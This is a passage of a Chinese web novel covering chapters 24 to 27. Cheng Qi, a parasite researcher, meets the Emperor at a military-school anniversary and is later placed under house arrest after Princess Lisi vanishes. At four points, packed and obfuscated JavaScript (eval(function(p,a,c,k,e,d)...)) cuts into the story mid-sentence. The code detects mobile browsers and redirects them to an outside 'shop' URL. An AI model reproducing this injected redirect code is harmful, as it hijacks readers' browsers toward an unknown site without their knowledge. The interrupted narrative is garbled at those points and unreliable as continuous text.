这后门走得,澄栖高兴了,一高兴,连去研究院上班的兴致都高了不少。 许三光天天见到她,还有些不适应,“你最近不上课?” 澄栖没有停下手里的动作,“联邦军校最近在准备二百年校庆的事情,很多课程都往后面排,一周上不了几节课。” 之前听同学说的小道消息确实靠谱,军校两百年校庆,安萨斯陛下和首相都会出席,所以军校格外重视这一次校庆。 跟澄栖没多大关系,她索性没事就往研究院跑。刚升的四级研究员,什么成果也没做出来,她都害怕研究院找个什么理由给她把职位削下去了。 不过,到底要做什么,短时间内能看到成效,还确实不好想。 “原来是这样。”许三光感叹一句,也继续做手上的事情了。 军部最近送过来一只新的寄生虫标本,说是攻击性很强,之前也没有在其他地方出现过,所以顺理成章就送到他这里了。 许三光取了寄生虫尸体一小块标本,在实验台上小心解剖。 澄栖扫了一眼,突然停下来手上的动作,皱眉,“教授,你要不要试着往左边划拉一下?” 许三光将信将疑把手术刀往左边划了一下,发现了一条很不一样的血管。 “是毒囊哦,看这个样子,毒性还挺强的。” 24. 校庆 手术刀沾到那一条毒囊的地方已经被腐蚀掉了,幸好许三光把相信澄栖,提前把它划拉出来了,要不然不小心切断,整块标本都别想要了。 许三光有些后怕,他问澄栖,“你是怎么知道这里有一条毒囊的?” 澄栖:“……”她该怎么说,她看到了? 然后许三光会不会问她,是怎么看到的,她又该怎么说? “可能是上天的指示吧。”澄栖神神秘秘。 这下子,轮到许三光说不出来话了。 他直接拖着澄栖去了完整的寄生虫标本存放的地方。 然后塞给澄栖手术刀,“请上天的继续给你指示吧,把这只寄生虫的结构和功能弄清楚,我们的新研究就有着落了。” “对了,顺便把它的毒囊取出来,看看能不能转化成对抗寄生虫的武器。” 许三光觉得,这个任务绝对足够澄栖做一段时间了。 澄栖看着眼前五米多高的奇形怪状寄生虫标本,问了一句,“很急吗?” 这是什么话,当然很急了,这只寄生虫是从前线加急送回来的,现在所有人都对这种寄生虫没有办法,就等着他们寄生虫研究院拿个章程出来,否则,还是只能靠人去填。 许三光头一次用这样严肃的语气和澄栖说话,“很急,非常急。如果我们快一天研究出它的毒囊怎么对付,就会挽救至少二十个人的生命。” “这样啊。”澄栖放下了手上的手术刀,从空间扣里掏出来纸和笔,画上比例尺,开始手搓寄生虫结构图。 “教授,现在要一下子把对付它的武器研发出来恐怕不现实,不过,我有一个不太体面的办法。” 澄栖指着纸上寄生虫一块一块连着的骨头,说,“它们这些骨头的后方,都连接着一条毒囊,我们要是把它的毒囊打碎,毒液会渗透进它的肉里,它就自己死掉了。” “诶,其实拿个仪器扫一下,就能看见它的毒囊了,仪器测出来比我的图精准。” 许三光抬头看了看寄生虫标本,然后看了看澄栖,他要怎么告诉她,这只寄生虫自带的磁场干扰,让现在任何仪器都无法透过它的表层观测到里面的结构,导致现在,就算是他这个层次,也得一刀一刀慢慢划拉。 他的语气有些复杂,“这只寄生虫……仪器扫不出来,你能看见它身体里的结构?你不是说你要摸到它搏动的血管才能判断血管走向吗?” 澄栖怎么知道,反正每次跟寄生虫打两架,眼睛就一点一点进化,然后这样那样,现在不变白都能看见了呗,她怎么知道到底为什么? 星际这些破仪器,她完整的身体检查不知道做多少次了,没一次发现异常的,她能怎么办。 澄栖装傻,“啊,这样啊,应该可能大概是能看见一点吧。也不稀奇嘛许教授,远古记载里就有一个医生,能够透过外表看见生物内部的结构。” “我原来就是当医生的,能看见也不奇怪。” “你原来不是孤儿吗?不是没读过书吗?” “嗯,这个嘛……许教授,我觉得这个寄生虫的毒囊太罕见了,我决定去看看能不能把它的成分分解出来,给其他寄生虫用上。”澄栖丢下画纸,风风火火跑了。 许三光看着澄栖离开的方向,眼睛里透露出些说不清道不明的羡慕,抬头看这罕见的寄生虫样本,揉了揉自己的眼睛,看不到任何东西,叹气。 按照澄栖画的图纸,又解剖了一部分,果然没有任何出入,许三光把图纸还给澄栖,眼不见心不烦,让她自己继续完善。 澄栖一整天都在标本室里画图,各种角度完善了全部结构,才签上自己的编号,把图传给许三光,让他来弄剩下的事情。 管他出于什么原因招揽澄栖进寄生虫研究院的,至少现在没有要暴露她的倾向就行了,至于剩下的,到时候再说吧。 王八也总有浮出水面的时候。 工作起来没日没夜,打开手环一看,澄栖才突然想起来,今天就是联邦军校的校庆。 紧赶慢赶赶回家换衣服,结果在自己出租屋的楼下看见了一个蠢货。 布德温手里捧着一大束粉色的玫瑰花,站在楼下笑眯眯看着她。 澄栖顿了一下,把衣领拉到最高处,带上帽子,转身就走,打算从后面翻上去。 真是流年不利,怎么在这个地方遇见这个灾星。 要不是他,自己就能在宴会上当场就把仇报了,还能看见安萨斯的真容,然后遇上这个灾星,全部计划都泡汤,澄栖很难给他好脸色。 但是布德温好像一点都没有意识到澄栖对他的排斥,对着澄栖的背影挥手,“澄栖,你去哪里?” 去哪里?避开你啊,还能去哪里。 澄栖离开的速度更快了。 布德温实在没有眼色,追上澄栖堵住她,还没等她说话,就把手里的花递给他。 安澜没有在原颂头顶上加一顶帽子的想法,但是面前的布德温,是一定有的。 澄栖想破脑袋都想不出来,自己到底是什么地方吸引到他了,为了让原颂沦为笑柄? 说真的,他给何希南送花都比给澄栖送来得实在。 “谢谢啊,送给元帅吗?好的,您的关怀我一定带到,时间不早了,首相大人不是要出席校庆,我就不打扰您了,祝您一路顺风。” “花是送给你的,我们可以一起去校庆典礼。” 澄栖只当做没听见,绕过他就跑,然后在他看得见的地方一脚把花束踢进了垃圾桶,拍了拍手,上楼。 嘻嘻,现在头上顶着原颂的名号就是好,对这种人装都不用装。 布德温在不远处看见她的举动,嘴角的笑容凝固,露出来危险的目光。 真是,嚣张啊。 “大人,需不需要我……”车上走下来的高大男人做了个抹脖子的动作。 布德温没说话,他在思考。 还没思考出个结果,两个人的头顶上被从天而降的烂菜叶砸中,愤怒抬头,发现扔菜叶的人是安澜。 安澜也住这里?真是越来越有意思了。 布德温身边的男人恶狠狠抬起头,看见是安澜,又迅速低下去。 “没事别在我楼下瞎晃,烦得很。” 布德温把烂菜叶从头上取下来,朝安澜挤出和善的笑容,“安澜将军误会了,我在这里等人。” 安澜难得管他抽什么风。 “姓布的,我要是你,就乖乖讨好上面的人,免得革你的职,而不是现在这样当面一套,背后一套,草木皆兵,谁的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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那和他们之前见过所有寄生虫都不一样,只是一瓶止血的药膏,甚至是接触伤口没多久自动化成水的药膏,没有任何人起疑心,给身上都是伤口的原颂涂了。 没过多久,原颂昏迷不醒,那条前线失守。他们找不到原颂昏迷的原因,寄生虫在他体内缓慢生长。 大多数知情人都以为,原颂体内的寄生虫是在战斗过程中不小心被寄生,连何希南最开始都那么以为,但宋学怕死的本性在这种时候又暴露了他,他提交辞书,离开了私卫队。 他们觉察出来有点不对劲,顺着这条线查下去,发现了宋学送过来的那条药膏,没有任何来路的药膏。 可药膏已经用完了,没有证据,加上宋家力保,他们眼睁睁看着宋学毫发无损离开,就连追查,也只能私下里进行。 他们还发现,那段时间和宋学有过最不正常接触的,是安澜,只是同样苦于没有证据。而且,安澜并没有作案动机。 现在宋学又出现了,在原颂的政敌布德温身边。 原颂叫了秦叔,只有一个字,“查。” 25. 安萨斯 —————— 澄栖从迈进学校大门就明显感受到气氛比平常更加严肃庄重。 大马路都被擦得锃光瓦亮,用脸走路都不在话下。 马路上的绿植被修剪出来圆润规则的形状,谁看了不说一句,这就是大校风范啊。 就连入学都……嗯,不好意思,澄栖突然想起来,自己还没有见识过联邦军校入学的校园环境。 学生们脸上洋溢着激动的笑容,走在路上相互打招呼,挥了挥手中的摄影设备,显然是做足了准备。听说附近店里的摄影设备都已经让学生们租借完了。 果然,人类刻在基因里的看热闹并没有改变。 澄栖从上午等到下午,终于蹲到一点人群散开的信号。 从椅子上坐起来,澄栖朝人群骚动的方向缓慢移动。 她只需要看看众人口中的安萨斯陛下一眼就行了,留个印象。 被学生群簇拥着的人有一大群,符合澄栖的刻板印象,从上到下一身黑。 很容易区分出来谁是谁,学生把安萨斯团团围住,摄影设备差点往他脸上怼,周围是试图阻止学生动作的保镖。 澄栖啧啧赞叹,看看这气度。 安萨斯本身就是个相当俊美的中年大叔,加上保养得当,看起来很年轻。 他正和蔼的和学生们亲切交谈,看起来平易近人。 当然,还是那句话,看人第一眼就下定论总是不太恰当的,世界上人面兽心的太多了。 澄栖眨了眨眼,眼中光芒浮动,为了不让别人发现自己的异样,她从空间扣里翻出来墨镜往脸上一扣。 没过几秒钟,澄栖突然把墨镜拿下来。使劲揉了揉眼睛。 没看错,安萨斯周身,怎么围绕着一股又白又黑的雾气。 澄栖鬼使神差跟了上去。 他周身浑浊的雾气让澄栖看不清楚其他东西,这种感觉,目前为止,澄栖只在一个人身上见到过。 她手脚有些发凉,想起来安澜跟她说过的故事,安轻,还有她的小三。 这真是天大的坏消息。如果她的猜测成立,是不是也意味着,在苏格星设立实验室的人,就是安萨斯,是他在用人体做实验。 澄栖很确信,安萨斯看见她了。 对方向这边挥手,身边的学生都在欢呼,拿着摄像设备一顿狂派,澄栖觉得自己好像被一道甩也甩不掉的视线黏上了。 她扬起笑容,和周围同学一起欢呼,挥手。直到安萨斯的的身影彻底从眼前消失。 但事情还远远没有结束。 澄栖走在离开学校的小路上是,眼前突然出现两个高大的黑西装男人,拦着澄栖前进的路,对澄栖做了个请的手势。 “你们是谁?” 在学校里都敢这么嚣张,其实也没什么疑问才对。 “陛下想见您一面,夫人。” 澄栖脸上露出来恍然大悟的表情,身上的防备好像一下子全部放松下来,“原来是陛下啊,早说嘛。” 安萨斯看起来像个和蔼可亲的长辈。 澄栖才刚刚弯腰走进行器里,他就认出来澄栖的身份,像一只笑面虎。 “现在军校的生活还适应吗?听说今年安澜将军亲自带了你们一门课,还把你们带到苏格星前线去了?澄栖同学头一次上这种课,如果有什么压力,也可以向校方反映啊。” 澄栖规规矩矩回答,“挺适应的,安澜将军教得很好,就是分再打高一点就好了,分数刚刚及格,太考验心脏了。” 安萨斯被她逗笑,澄栖低头,瞳孔里反射的,是安萨斯脚边浑浊翻涌的雾气,随着他的笑容,好像也一震一震,好像能侵蚀掉人。 澄栖站得更老实了。 “元帅情况怎么样?联邦这样的人才太少了,我还指望着元帅早日醒过来呢。” 澄栖继续回答,“不知道,我没见过元帅,陛下。” “这样啊。”安萨斯若有所思,突然又说,“上次宫廷宴会的事情我听说了,莉丝呢,年纪小不懂事,我已经批评过她了,这一次叫你来,也是因为这个事情。” “莉丝的生日快到了,邀请澄栖同学参加,她想要亲自向你说声对不起,不知道你能不能赏脸?” 澄栖低头不语,手指扯着衣角,一副为难思考的样子。 安萨斯看起来,和一个为女儿善后的好父亲差不多,连莉丝在宴会上的那种小事都知道,还特意向她说明,摆的是好一副和善面孔。 但一个真心疼爱女儿的好父亲,真的会让女儿在自己的生日宴会上为自己曾经做过的事情道歉吗?毫无疑问不会。 当然,更加不可能是莉丝公主真心悔过,如果她能够真心悔过,恐怕得是在澄栖和原颂真的离婚之后。 “澄栖?”安萨斯叫了澄栖一声。 澄栖的头低下去更多了,她期期艾艾还是点头了。 “好的陛下,我会准时过去的,请莉丝公主放心吧。还有道歉就算了,那有公主向我道歉的道理呢。” 安萨斯赞赏点头,“真是个好孩子。” 澄栖的脸憋红,声音有些小,“陛下,我可以走了吗?” “嗯,当然。布德温告诉我,你和安澜将军住在同一栋楼里?今天校庆没有见到她,请向她表达我的关怀。” “好的,我一定带到,陛下。” 澄栖短暂的抬起头,又迅速低下去。 真不是她刻意装成这一副唯唯诺诺的样子,实在是越靠近安萨斯,越能够看清楚他周身浑浊的雾气浮动,偶然间停一停,像是准备将人吞噬掉,她宁愿低下头,眼不见为净。 澄栖莫名其妙的上了飞船,又莫名其妙下去,站在一旁目送着飞船启动,离开。 阳光撒在身上,在原地站了好久,才终于把那股惊悚的寒冷晒暖和。 联邦最高级别的掌权人,为什么会这么奇怪? 澄栖觉得烦。 她知道安澜肯定知道其中有什么东西,但她的理智告诉自己,最好不要去问,而且,这些事情和自己,应该没有什么特别大的联系吧?澄栖暗自思索 阳光还是如此明媚,她的头顶被晒得很暖和,连心情都平静下来不少,澄栖手里掏出来一枚硬币,往 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17122326|195047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 空气里抛。 如果是正面,她就去套安澜的话;如果是反面,她还是老老实实过自己的日子。 硬币往下掉,卡在了地砖缝隙里。 澄栖看了好一会儿,沉默,把硬币拔起来,继续抛一次。 这一次,硬币还没有落到地上,不远处突然有人叫她,“澄栖同学——” 澄栖抬眼一看,好像是班上的同学。 再低头,硬币又卡进了先前那个缝隙里。 真有意思,还跟她杠上了。 澄栖面无表情抬脚把硬币踩下去,抬脚,是反面,很好。 “澄栖同学,好久没有见到你了,你刚上午拍到安萨斯陛下的视频了吗?给你看看我的。” 同学自来熟地搭上澄栖的肩膀,给她看自己拍的视频。 经过快一个学期的相处,大家还有课上一起被安澜将军各种各样方法打击,大家关系都还不错。 比如现在,同学们看见澄栖,还会打招呼熟聊,要是放在刚开学那一会,儿,谁不说她是联邦军校最强关系户? 同学兴致勃勃翻了一个又一个视频,恕澄栖直言,安萨斯脸上的表情都没怎么变化,倒是背景乐里的尖叫,足够组成一曲乐曲。 她真忍不住好奇了,“安萨斯陛下,这么受欢迎吗?” “那可是联邦的陛下!”同学声音压低,状似神秘对澄栖说,“当然了,安萨斯陛下如此受联邦人民欢迎也是有其他原因的。” “真的?什么原因。”澄栖来兴趣了。 “我跟你说你别往外传啊。” “嗯嗯,我保证。”吃瓜的基本素养嘛,她懂。 “听说,安萨斯陛下,年轻的时候整过容,你猜照着谁整的,联邦第一任陛下!据说,当然,只是据说啊,本来这个陛下,并不应该安萨斯陛下继承的,但当时第一任陛下的画像一出来,几位继承人站在一起,你想想,凭着那张相似的脸,谁敢不掂量掂量!” 澄栖:…… “这跟联邦人民喜爱安萨斯陛下有什么关系吗?” “当然有关系了,就算是传说,但是安萨斯陛下竟然照着第一任陛下整容,可见他是何等爱戴第一任陛下,难道这还不足以让联邦人民认可他吗?” 联邦第一任陛下,是带领联邦人民在星际开辟新居住地的先驱。为了表示对他的感恩和爱戴,他的后代,保留了皇室身份,同时还拥有一定行政权力,直到今天的安萨斯。 如果是因为安萨斯和第一任陛下相像…… 澄栖点头,“原来是这样啊。”如果有人照着朱元璋整容,她也会高看那个人几眼的。 不过,这种流言,传的也属实太离谱了。 “嗯嗯,可不是嘛。”同学讲完八卦,继续和澄栖一起分享数不清的录像视频,澄栖用尽全力得以脱身,回到出租屋往沙发上一躺。 对门的安澜将军不知道有没有在,澄栖一想,还是拨通她的通讯。 “安澜将军,我今天在校庆上见到陛下了。” 安澜没有半分惊讶,语气波澜不惊,“早晚的事,然后呢?” 26. 生日宴 澄栖听出来安澜心情不好,说话也比较谨慎,“他让我将他的关心带给你。” 大尾巴狼搁这里装什么小白兔呢。 安澜冷笑,“老而不死果然为贼。” 澄栖默默点头,对这句话认可得:不能再认可。 通讯那边突然出现一声怪叫,安澜啧一声,“行了,小澄栖,我在前线,下了战场再跟你联系。” “不是休假?” 澄栖记得安澜接下来一段时间还有带课安排,怎么突然间又回前线去了。 “被老贼算计了。”提起来这个安澜的怒火差点能溢出来,砍寄生虫的动作都变成了泄愤,速度越来越来。 寄生虫还没弄清楚前线怎么突然来了个这么强的人,脑袋就已经落到了地上。 安澜说,“早知道,我就多骂几句——” 话没说完,通讯突然挂断。 “安澜将军?安澜将军?” 澄栖看着手环,皱眉。 有能力暗箱操作把安澜的假期直接弄没,还被她骂过的,除了安萨斯,她也想不到还有谁了。 前线信号向来不稳定,她猜测安澜应该是遇见了什么难对付的寄生虫,通讯才突然被挂断。 这样想着,但莫名的,澄栖心里还是觉得有些不安。毕竟能让安澜觉得棘手的寄生虫,得厉害成什么样啊。 第二天,澄栖拨安澜的通讯,没有人接通。 第三天依旧没有人接通。 再棘手也不应该两三天通讯都拨不通啊。 澄栖心里的怪异更加重了。 正想再试一次,一串陌生号码拨了过来。 才接通,就听见莉丝大吵大叫的声音,“澄栖,不是说来要给我过生日,你怎么还没过来?!” “今天?”澄栖想起来确实有这么回事,“没人通知我。” “我给你发邀请函了!” 当然,这份邀请函发得并不甘心,所以,莉丝只发了电子档,并没有发纸质的。 而莉丝的联系方式,早就被澄栖设置过,任何消息过来,都会直接进到垃圾箱里面。 澄栖打开垃圾箱,果然发现两天前,莉丝给自己发过文件。 “嗯,看到了。”澄栖把那条消息从垃圾文件里拉出来。 “你还没有把我从黑名单里拉出来!”莉丝更加生气了。 她觉得委屈,她好歹是正儿八经的帝国公主,但每次遇上和澄栖有关的事情时候,父亲都会单方面批评她,这次更加严重,他居然让自己在生日会上给澄栖道歉! 这可是她的生日宴!她的面子往往哪里搁! 但这一次父亲的态度格外强硬。莉丝还记得安萨斯的冷脸,“不道歉,我就把你丢去寄生虫研究院。” 莉丝想起来小时候在寄生虫研究院待过日子,浑身发冷。这也是为什么,她格外害怕庄广生的原因。 做足了心理准备,她终于说服自己,给澄栖发邀请函,就算在生日宴上给她道歉,宴会过后,她也不会让澄栖好过的。 结果澄栖居然连邀请函都没看见,生日宴都要开始了,安萨斯以为她没有通知澄栖,让人转告她,澄栖不去,自己真的会被送进寄生虫研究院。 莉丝愤恨得差点咬碎一口牙,过生日的心情都没有了。她都没有计较澄栖抢了原颂将军,她居然还敢把自己放在黑名单里这么多天? “你现在立刻把我从黑名单里拉出来!” 澄栖眼皮子都没抬,嘴里敷衍,“等半个小时,我马上过来。” 说完,没等那边是什么反应,径直挂断了通讯。 莉丝再次拨过去通讯。 半个小时,连选衣服的时间都不够,澄栖是打算直接穿得灰头土脸来参加她的生日宴,她的面子往哪里搁? 她的生日宴可是要上联邦报纸的。一想到自己精心准备的宴会会出现一个硕大的污点,莉丝觉得自己一口气差点厥过去。 “去给她准备衣服。”她咬牙吩咐。 果然不出她所料,澄栖穿着个宽松运动套装就从飞行器上下来了。 人还没踏进宴会的大门,就被突然冲出来的莉丝拦住,从小门带进去。 “澄栖你什么意思?我请了那么多摄影师站在宴会大门口你没看见?你穿成这样进去,是打算给我一个下马威?” 澄栖看看自己身上的衣服,再看看莉丝身上一整套礼服,连配饰都至少有三斤重。 “让他们不刊登出去不就行了?”这种事情不是很正常,最多比过付一笔封口费。 “你这种土包子懂什么。”莉丝瞪她,“跟我走,我早就知道你要闹幺蛾子,早把你的衣服准备好了!” 澄栖大感意外,莉丝公主人还挺好的。 “给我的,穿了需要还不?” “穷酸死了,一套礼服而已,就当本公主可怜你,送给你了!” “谢谢公主,公主真大方!”澄栖的语气里满是高兴。 莉丝觉得自己被嘲讽了,看着澄栖就烦。把人丢到侧殿,她转身离开,“你等着,化妆师已经在赶来的路上了,本公主先出去招待客人了!” 她给了侍女一个眼神,“看好她,没换好衣服,绝对不能让她离开这扇门。” 莉丝怒气冲冲离开,化妆师也没来,澄栖觉得有些无聊,突然想起来自己还有一小部分水团上次放在莉丝公主身边没拿回来。 也不知道她的水团还活着没有。 避开侍女的视线,澄栖又从空间扣里薅出来一小部分水团。 “去把另外的水团找回来。” 放在莉丝身边已经有一段时间,本来是为了接触到安萨斯,谁知道计划被全盘打乱,也不知道她的水团现在还在莉丝身边还是哪里。 澄栖有些心疼,早知道就不放水团了。 等了快二十分钟,还是没见到有化妆师过来,澄栖想要出去,刚想开门,就被看着她的侍女拦住。 “我无聊,到处走走,化妆师来了我会回来的。 侍女摇头,眼神有些躲闪,拦着她的身形并没有挪开。 澄栖也不坚持,以为她害怕,不想难为人,“行吧。” 又过了二十分钟,水团没有回来,化妆师也还没有来。澄栖逐渐觉得有什么地方不太对劲。 没道理这么久还没有人来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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安萨斯? 澄栖心里有些怪异。总不能有人丧心病狂起来,故意把自己的女儿弄失踪,然后陷害给她吧。 不过,如果背后黑手是安萨斯,澄栖反而放松下来。那种老东西,下这么大的黑手,真正的目的,肯定不是她这个不起眼的小喽啰。 安萨斯在厅前来回踱步,澄栖注意到他身边站了个特殊的人,星际寄生虫研究院现任院长,庄广生。 想起来从苏格星回来刚下飞船时,莉丝表现出来对这个人的排斥,他绝对不可能是被莉丝邀请来参加她的生日宴的。 看着安萨斯急得团团转,庄广生也只是抬眼看了一下,站在一边,脸上冷漠的表情没有改变半分,谁看了不说一句嚣张。 安萨斯看到澄栖被带过来,脸上有些讶然,问抓人的护卫,“怎么把元帅夫人带过来了?” 27. 失踪 澄栖这个时候终于懂了安澜那句老而不死是为贼的含金量。 用在安萨斯身上,真是半个字都不显得多余。 “我们查到门口的监控,元帅夫人是公主一个见到的人,夫人和公主离开后,就再没有任何踪迹了。” 安萨斯皱眉。 周围才知道的人发出抽气声。 这个消息,几乎直接能将澄栖的罪行定死了。 澄栖站得笔直任由各位打量,她的眼睛没有离开安萨斯身上半分。 还是一身浑浊的讨厌的雾气笼罩起来,看着就讨厌,无端让人联想到久久不晴朗,看不到任何希望的冬天沉重的天空。 “夫人没有作案的动机。”安萨斯对澄栖的态度里,充满了信任。 “怎么没有,谁不知道莉丝公主喜欢元帅,她和莉丝公主的关系怎么可能会好?说不定就是在门口见到莉丝公主,就起了杀心,对莉丝公主下手了!谁知道这种下等星上来的贱民能做出什么事情来!” 澄栖转头,看着愤慨出声的人,杵着拐杖来的,两只腿都不好使,恶狠狠盯着澄栖,恨不得立刻把她弄死。 她想起来的,上次宴会开黄腔事后被她打断腿的人。 嗯,那这么恨她也不奇怪。 “放肆!”安萨斯脸色有些不虞。联邦谁不知道,莉丝公主为了嫁给元帅多次在陛下面前哭闹,都被他驳回去了,现在又有人在他面前提这个事情。 他的亲生女儿尚要被责骂,更不用说,是一个不轻不重的贵族。 被打断腿的那个男的终于从对澄栖恨意里面苏醒过来,浑身冷汗,连话也说不出来了。 他怎么把这么重要的事情忘了。 慌张着,又看见澄栖对着他龇牙露出来笑容,心里更加愤恨。 那天晚上,一群穿着战服的人劫持了他的飞行器,二话不说一顿揍,他被吓晕过去,再醒过来的时候两条腿就失去了知觉。 为什么确定是澄栖,因为他昏迷之前,听到领头打他的人自言自语说了一句,“第三条腿要不要留呢?” 是她!绝对是她!他不过是说了一句澄栖伺候人的话,这个恶毒的女人居然打断了他的双腿!直到现在,两条腿都还在恢复期里面。 更加令人愤怒的是,他打算报复澄栖的时候,元帅府的秦管家亲自出面了,带着一叠他们一家这些年受贿犯罪的证据,强行让这件事熄了声。 每到深夜或雨天,双腿还会有刺骨的疼痛,他怎么可能不恨澄栖,他恨不得她去死。 “陛下,这位先生这么确定,说不定才是真的让莉丝公主失踪的幕后黑手呢。” 澄栖坦然对上他恨得要死的目光,淡淡翻了个白眼,然后对着安萨斯说道。 安萨斯更是头痛,捏了捏眉心,只好让人先去审问刚刚说话的贵族。 “元帅夫人先在这里住下来,等事情真相查出来了,我让人送你回去。”安萨斯依旧态度和蔼对澄栖说话。 这个意思,就是暂时软禁在这里了。 “好,我相信凭借陛下的英明神武,肯定能早日把真正的凶手查出来的。” 安萨斯淡淡点头,“但愿如此。” 澄栖在心里翻了个白眼。 还但愿如此,她不相信安萨斯真的不知道莉丝失踪的真相是什么。 这里可是宫廷,公主在宫廷失踪,比人好好在家里突然人间蒸发了还要离谱。 如果宫廷的防护力度这么低,整个联邦恐怕就没有安全的地方了。 联邦这些人,可真有意思。 安澜在寄生虫前线失去联系,现在是她被软禁在宫廷里,下一个,伟大的安萨斯陛下打算对谁动手呢。 澄栖被一群护卫带过来,现在又要被他们带走,才走两步,她踢到路上的石子儿,整个人往旁边一倒,脸被路边的草丛擦出来几道血痕。 “还好吗,夫人?” 护卫将她拉起来。 澄栖一只手撑在地上,摇头拒绝了护卫的搀扶,慢慢从地上爬起来。 “走吧。” 剩下的路上,护卫格外注意路上的石子儿,生怕澄栖再跌倒。 脸上细小的血珠渗出些血液,澄栖大大咧咧拿袖口一擦。 她今天穿的衣服颜色偏深,擦在袖口上的血迹本身就不明显,更不用说,就在血珠刚刚沾上衣袖的瞬间,那一小块衣服布料突然变得深了些许,只是眨眼一个瞬间,不明显的深色又恢复了正常,谁都没有发现。 澄栖伸手按住自己的衣袖。 当房间门关上的瞬间,水团就忍不住想要从空间扣里跳出来,被澄栖打了两巴掌才安分。 澄栖光是站在门口随意往各个方向上扫过一眼,就发现了至少十个隐藏的摄像设备。 连软禁的地方都是精心挑好的。 澄栖盘坐在地上沉默半响。 摄影监控那边的人盯了她一个多小时,发现澄栖连动作都没有变过,盘坐在地上,把自己蜷缩起来。 在他们都要等得不耐烦的时候,澄栖终于动了。 她拨通了通讯。监控的人连忙把窃听器带上。 澄栖这通通讯打给了秦叔。 开口第一句,声音里有些小心翼翼,“秦管家,莉丝公主失踪,我被抓起来了。” 通讯那头的秦叔几乎是瞬间意识到不对劲。 夫人从来没有叫过他秦管家,还是用这种语气。 他谨慎的“嗯”了一声。 澄栖的余光扫过最近的一处摄影设备,声音里带着些哭诉,“怎么办啊,我刚进宴会就被莉丝公主带走,后来她离开,等了四十多分钟有人突然出现,说我跟莉丝公主失踪有关系。” “现在被关在不知道哪里,我会不会蹲监狱?我真的不知道莉丝失踪的事情。秦管家你能让陛下把我放了吗……” 澄栖尝试掉两滴泪水出来,没成功,也就只能干嚎了。 秦叔那边走上二楼,把通讯放在原颂手边,打开外放,语气惊讶,“夫人你说莉丝公主失踪?” “嗯,真的不是我干的,我冤枉啊,陛下为什么要软禁我不让我离开?”澄栖继续干嚎。 通讯那头,原颂对着秦叔摇头。 “好的,夫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17133755|195047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人,我知道了,你先安心在那里住下吧。” 通讯挂断,澄栖像是受到了天大的打击,站起来在房间里四处摔东西,把房间里能摔的都摔了一遍,继续盘坐着把自己蜷缩起来。 监控那边的人:…… 澄栖还挺会摔的,碎片溅到一个又一个镜头上,视线迅速模糊,还有她一脚踹到镜头上突然爆破,刺耳的声音,凌乱的画面,看得监控人员默默离监控画面远了一点。 一天就这样无聊的过去,澄栖盘腿蜷缩着,没过多久沉沉睡去,房间里被打碎的东西也没人收拾。 监控室的情况被人呈到安萨斯跟前。 包括澄栖通讯的时间,通讯说的内容,摔东西的数量,甚至是睡觉的地方,全部被记录下来。 “她没有其他反应?也没想过要逃跑?” “没有,她跟元帅府的人拨过通讯后,似乎对得到的回应很不满意,摔过东西之后就开始睡觉。” 安萨斯看着面前这份报告,不太满意。 “庄院长,你说她真的不知道原颂醒过来的消息吗?”安萨斯问他身后的庄广生,也是在问他自己。 真是稀奇了。原颂在床上躺了两个月,他都在清点原颂的财产了,结果这个从下等星来的人像是从天而降,他也就顺手把人推给原颂了。 在他死之前还能羞辱一番,何乐而不为?可是现在,原颂醒了。 醒得莫名其妙。不是说伤势重得没办法治疗了?为什么突然醒过来? “查一查布德温?人不是他送过来的?”庄广生不咸不淡回答。 安萨斯嗤笑一声。 “问他不如去问猪。” 几乎是联邦默认地规矩,皇帝和首相共同分割行政权力,首相的权利大了,皇帝的权利就小了。布德温出身古老大贵族,当时扶他上位,本来是放个愚蠢的傀儡在这个位置上,结果现在才发现,傀儡太蠢,比敌人更加难缠。 因为你永远也想象不到,他能在眼皮子灯下黑的地方,制造出多么大的麻烦。 他连布德温的族谱都查翻天了,结果发现,借着他名义上来的澄栖,连他的面都没见过。 “不如,把人带去研究院看看。”庄广生又提议。 安萨斯摇头,反问,“研究院接下来忙得过来?” “是忙不太过来,需要物色新人手了。” “有看上的?” 庄广生笑,“是有一个,刚进研究院的新人,潜力不错。不过,她是许三光那个疯子带进来的,要想为我们所有,还需要沟通才行。” “行,早点把人解决了,不要耽误研究进度。” 澄栖在这个破地方闲得脑袋疼。最远的活动范围只有院子里的小花园,头一天把花薅秃,第二天又有人补上,院子里隔一米就有人站着,也不说话,跟雕塑没什么区别,无聊得很。 她试图给安澜拨过通讯,还是没有拨通。 